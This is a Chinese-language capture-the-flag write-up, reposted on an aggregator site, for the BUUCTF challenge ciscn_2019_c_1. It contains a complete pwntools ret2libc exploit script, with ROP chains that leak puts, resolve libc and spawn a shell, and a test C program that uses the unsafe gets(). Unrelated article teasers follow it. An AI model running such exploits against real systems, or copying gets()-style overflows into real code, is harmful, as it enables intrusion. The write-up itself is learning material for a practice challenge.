BUUCTF ciscn_2019_c_1

news2024/11/26 2:31:37

小白垃圾做题笔记而已,不建议阅读。

1前期:

其实刚开始拿到程序的时候我还以为是逆向题放错地方了。唉,做题太少了。啥也不会。我是大笨蛋。

题目中用的是ubuntu18,我的ubuntu没怎么用过,vmtools都不能用,我又搞vmtools

按照正常的流程没有安装成功。

看了这位师傅的博客。

Ubuntu下关于vmtools安装成功后不能拖动文件的解决方法_vmtools安装完拉不进去文件_机务猿的博客-CSDN博客z

 最主要的是后边两行命令

如果第一条不好用就用第二条

中间需要reboot(重启)哈

重启不管用了再下一条。

sudo apt install open-vm-tools


sudo apt install open-vm-tools-desktop

搞好vmtools后我去checksec查看保护,但是并没有任何输出。

发现没有pwngdb,唉,又去搞pwngdb,好在18比16好,没有什么版本问题。

好像有警告,但是我没管哈哈,我是大笨蛋。

不知道为啥安装后的checksec 只能在gdb內部使用,先凑活用吧。

2.做题

搞好后查看保护:

没有canary,内有pie,relro部分开启,NX 开启。

relro我理解的主要是got表和plt表,chat说还有什么动态链接库指针,我太懂。

如果只分析got和plt关于FULL  RELRO和PARTIAL RELRO 来说

chat是这样说:

主要函数应该是一个,其实就是加密函数。

 

 

加密函数中是存在栈溢出漏洞的。由于开启了NX所以需要用ret2xxx绕过。而程序中并没有找到system和/bin/sh。那么就是ret2libc了吧。其实我刚开始是很懵逼的。后来才看了wp才知道是ret2libc的。

那么就来看下这道题。

程序一开始就调用了puts,并且是PARTIAL RELRO,那么就是说我们可以泄露出puts的真实地址,然后获取libc地址,通过偏移计算出system函数的地址,和/bin/bash地址。

所以我们需要构造两次payload,第一次将puts的地址打印出来,第二次获取shell

可能是由于ida的原因,我并没有发现X的取值,        

师傅的wp中是绕过了长度判断用‘\0’

但是我发现不用\0也可以绕过。就是strlen好像是不用绕过的。

具体原理并不太懂。我猜可能是我们覆盖的返回地址最高位本身转化成字节类型可能就是\0???

好像并不是这样的:

我写了一个实验:

#include <stdio.h>
int main()
{
        char s[80];
        memset(s,0,0x30uLL);
        puts("Pleas  Input");
        gets(s);
        printf("%d\n",strlen(s));

        return 0;
}

from pwn import *
io = process('./a.out')
context.log_level='debug'
pause()
pop_rdi_ret = 0x0000000000400c83
ret_addr = 0x00000000004006b9
payload=b'aaaaaaa'+p64(pop_rdi_ret)

io.sendlineafter('t\n',payload)

io.interactive()        

唉,没办法先这样吧,希望哪天有位大佬点醒梦中人。

exp是这个样子的:

from pwn import *

#下边这一行是导入LibcSearcher库,用于根据某个函数的地址获取libc版本
from LibcSearcher import *
#这一行的作用是设置一些参数开启debug后可以显示接受数据以及发送数据

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pause()
io = process('./ciscn_2019_c_1')
#io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')

#获取puts函数的plt表地址,got表地址,以及系统main函数地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#查找poprdi指令对应的地址
pop_rdi_ret = 0x0000000000400c83

#查找ret指令对应的地址
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9

io.sendlineafter('Input your choice!\n', '1')
#构造payload
#首先填充0x58个字节a,用来覆盖到返回地址
# 然后我们把返回地址给覆盖成了pop rdi ret 指令的地址
#栈中  pop rdi 地址后边是puts对应的got表的地址,这个地址会被pop到rdi ,在后来是puts的plt地址,再后边是main函数地址


#执行的时候:
#首先返回地址会去pop rdi
#这个时候栈顶所指向的是got表的地址,也就是说将puts的got表中的地址放到rdi中
#然后是 ret  将当前栈顶所执行的地址(puts的plt表的地址)给ip
#既然ip指向了puts对应的plt表,那么就会去执行puts函数
#执行puts函数的时候参数是rdi中的内容,刚刚被我们改成puts函数对应的got表地址了
#所以他会将puts的got表的地址打印出来,我们等下接接收下。
#,因为后边放的是返回地址,我们将返回地址覆盖成了main函数的地址
#接下来他会二次执行main函数

payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#当他让我们输入的时候我们发动攻击
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

#攻击后会打印,我们接收下。为什么是接收到6个字节呢,这个好像是跟页的加载有关。
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))


#根据接受的地址获取libc版本,我猜就是执行到这行函数的时候打印的让我们选择libc版本
libc = LibcSearcher('puts', puts_addr)   #获取版本
libc_base = puts_addr - libc.dump('puts')   #计算libc基地址
system_addr = libc_base + libc.dump('system')    #计算system地址   dump是获取偏移用的
binsh_addr = libc_base + libc.dump('str_bin_sh')  #计算/bin/sh地址

#我们将payload打过去后他打印出来地址后会返回i到main函数的地址,继续执行main
io.sendlineafter(b'Input your choice!\n', b'1')
#这一次我们以已经知道system的地址了,我们首先将\bin\sh地址给rdi,用来当作system的参数  中间是\bin\sh的地址 我们将返回地址覆盖为system地址
#
payload7 =  b'a' * (0x50 + 0x08 ) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sleep(1)
io.sendlineafter('encrypted\n', payload7)

io.interactive()
# 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分 

一次没打通,打了几次才打通。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/477960.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【源码解析】canal核心功能源码解析

1. 项目地址 https://github.com/alibaba/canal.git2. 模块介绍 canal核心模块的功能&#xff1a; deployer模块&#xff1a;独立部署模块&#xff0c;用于canal-server的独立启动&#xff0c;包括本地配置解析、拉取远程配置、启动canal-server。server模块&#xff1a;cana…

山东专升本计算机第六章-数据库技术

数据库技术 SQL数据库与NOSQL数据库的区别 数据库管理系统 考点 6 数据库管理系统的组成和功能 组成 • 模式翻译 • 应用程序的翻译 • 交互式查询 • 数据的组织和存取 • 事务运行管理 • 数据库的维护 功能 • 数据定义功能 • 数据存取功能 • 数据库运行管理…

MySQL备份和恢复

文章目录 一、库的备份和恢复1.库的备份2.库的恢复 二、表的备份和恢复1.表的备份2.表的恢复 备份数据&#xff0c;其实就是生成一个 sql 文件&#xff0c;把创建数据库、创建表、插入数据等各种 SQL 语句都装载到这个文件中。恢复数据&#xff0c;其实就是按顺序执行 sql 文件…

操作系统进程概述、通信

进程 进程就是程序的一次执行过程&#xff0c;同一个程序多次执行对应多个进程&#xff1b; 一、进程的组成 1、PCB &#xff08;1&#xff09;进程描述信息&#xff1a;主要是PID等关键信息&#xff1b; &#xff08;2&#xff09;进程控制和管理信息&#xff1b; &#xf…

( 数组和矩阵) 566. 重塑矩阵 ——【Leetcode每日一题】

❓566. 重塑矩阵 难度&#xff1a;简单 在 MATLAB 中&#xff0c;有一个非常有用的函数 reshape &#xff0c;它可以将一个 m x n 矩阵重塑为另一个大小不同&#xff08;r x c&#xff09;的新矩阵&#xff0c;但保留其原始数据。 给你一个由二维数组 mat 表示的 m x n 矩阵…

unity-VRTK-simulator开发学习日记3(射线样式|忽略层|有无效名单)

目录 射线样式 组成 可用状态 材质替换 射线激活设置为常态 忽略层级&#xff08;射线等&#xff09; 自定义忽略层级 &#xff08;射线等&#xff09; 有效名单和无效名单 有效名单 无效名单 创建一个模拟手柄的按钮&#xff08;键盘键入按钮&#xff09; 输入系统…

最新Wordpress网站因重装宝塔而导致数据库崩溃无法访问的终极解决办法

在当今数字化时代&#xff0c;拥有自己的网站已成为越来越多人展示个人或企业信息的重要方式。虽然建立并维护自己网站看起来是一个简单的过程&#xff0c;但如果出现问题&#xff0c;比如数据丢失、网站无法正常运行等情况时&#xff0c;往往会令用户感到十分懊恼和无助。在这…

sql注入(二)盲注,二次注入,宽字节注入

目录 目录 一、布尔盲注 1.判断库名的长度 2.判断数据库名 2.1判断数据库名首字符 2.2 判断数据库名的其余字符 二、时间盲注&#xff1a; 1.判断库名的长度 2.判断库名&#xff1a; 3.判断表名payload&#xff1a; 4.爆出列名 5.爆数据 三、二次注入 1.原理&#…

【某软件网络协议分析】

由于网站无法上传附件&#xff0c;本帖子完整内容请点击此处 首先&#xff0c;从coco.apk提取dex文件&#xff0c;利用dex2jar将dex转化为jar&#xff0c;拖到jd-gui中&#xff0c;发现有如下几个可疑点&#xff1a; com.azus.android.tcplogin.CryptUtil.rsaEncrypt com.azus…

MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库

文章目录 MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库官方示例数据介绍Employees 数据库Employees 数据库安装Employees 数据库的结构参考 MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库 官方示例数据介绍 MySQL 官方提供了多个示例数据库…

二叉树及其遍历

文章目录 二叉树树的定义二叉树的定义遍历先序遍历中序遍历后序遍历层次遍历定义队列层次创建二叉树层次遍历 二叉树 树是一种非线性的数据结构&#xff0c;由若干个节点组成&#xff0c;节点之间存在一种父子关系&#xff0c;具有层次结构。二叉树是一种特殊的树结构&#xff…

火遍全网的ChatGPT究竟是什么?

ChatGPT是什么 ChatGPT是一个由OpenAI开发的大型语言模型&#xff0c;基于GPT-3.5架构。它被训练用于自然语言处理和生成任务&#xff0c;可以回答各种问题&#xff0c;包括一般知识、文化、科学、技术、商业、娱乐等方面的问题。ChatGPT可以进行对话&#xff0c;回答用户的问…

OJ刷题 第十四篇(递归较多)

23204 - 进制转换 时间限制 : 1 秒 内存限制 : 128 MB 将一个10进制数x(1 < x < 100,000,000)转换成m进制数(2< m < 16) 。分别用 ABCDEF表示10以上的数字。 输入 x m (1 < x < 100,000,000, 2< m < 16) 输出 m进制数 样例 输入 31 16 输出 1F 答…

功能齐全的 ESP32 智能手表,具有多个表盘、心率传感器硬件设计

相关设计资料下载ESP32 智能手表带心率、指南针设计资料(包含Arduino源码+原理图+Gerber+3D文件).zip 介绍 我们调查了智能手表项目的不同方面,并学会了集成和测试每个单独的部分。在本文中,我们将使用所学知识,结合使用硬件和软件组件,从头开始创建我们自己的智能手表。在…

存储资源调优技术——SmartDedupe智能数据重删、SmartCompression智能数据压缩技术

目录 SmartDedupe智能数据重删技术 SmartCompression智能数据压缩技术 SmartDedupe智能数据重删技术 基本概念 智能数据重删技术 是一种数据缩减技术&#xff0c;通过删除存储系统中的冗余数据块 减少数据占用的物理存储容量&#xff0c;节省存储空间&#xff08;会降低性能&a…

Java 基础入门篇(三)——— 数组的定义与内存原理

文章目录 一、数组的定义1.1 静态初始化数组1.2 动态初始化数组1.3 数组的访问 二、数组的遍历三、数组的内存图 ★3.1 Java 的内存分配3.2 数组的内存图3.3 两个数组变量指向同一个数组对象 四、数组使用的常见问题补充&#xff1a;随机数 Random 类 一、数组的定义 数组就是…

线程池~~

文章目录 线程池线程池实现API、参数说明线程池处理Runnable任务线程池处理Callable任务Executors工具类实现线程池定时器Timer定时器ScheduledExecutorService定时器 并发和并行线程的生命周期 线程池 线程池实现API、参数说明 线程池处理Runnable任务 线程池处理Callable任务…

Win11的两个实用技巧系列之修改c盘大小方法、功能快捷键大全

Win11 c盘无法更改大小什么原因?Win11修改c盘大小方法 有不少朋友反应Win11 c盘无法更改大小是怎么回事&#xff1f;本文就为大家带来了详细的更改方法&#xff0c;需要的朋友一起看看吧 Win11 c卷无法更改大小什么原因&#xff1f;有用户电脑的系统盘空间太小了&#xff0c;…

CTF权威指南 笔记 -第二章二进制文件-汇编原理

C语言的生命是从 源文件开始 的 每条C语言都必须要给翻译成 一系列的低级语言 最后 按照可执行文件格式打包 并且作为二进制文件保存起来 编译原理 我们需要使用编译器 是通过某种语言 等价输出另一个语言 可以分为前端和后端 前端 和机器无关 把源程序分解为组成要素 …

【Android入门到项目实战-- 7.4】—— 如何播放音频和视频

目录 一、播放音频 MediaPlayer的工作流程 具体代码实现 二、播放视频 具体代码实现 学完本篇文章可以收获如何播放音频和视频。 一、播放音频 播放音频需要使用MediaPlayer类实现&#xff0c;它对各种格式的音频文件提供了全面的控制方法&#xff0c;下面是MediaPlayer类…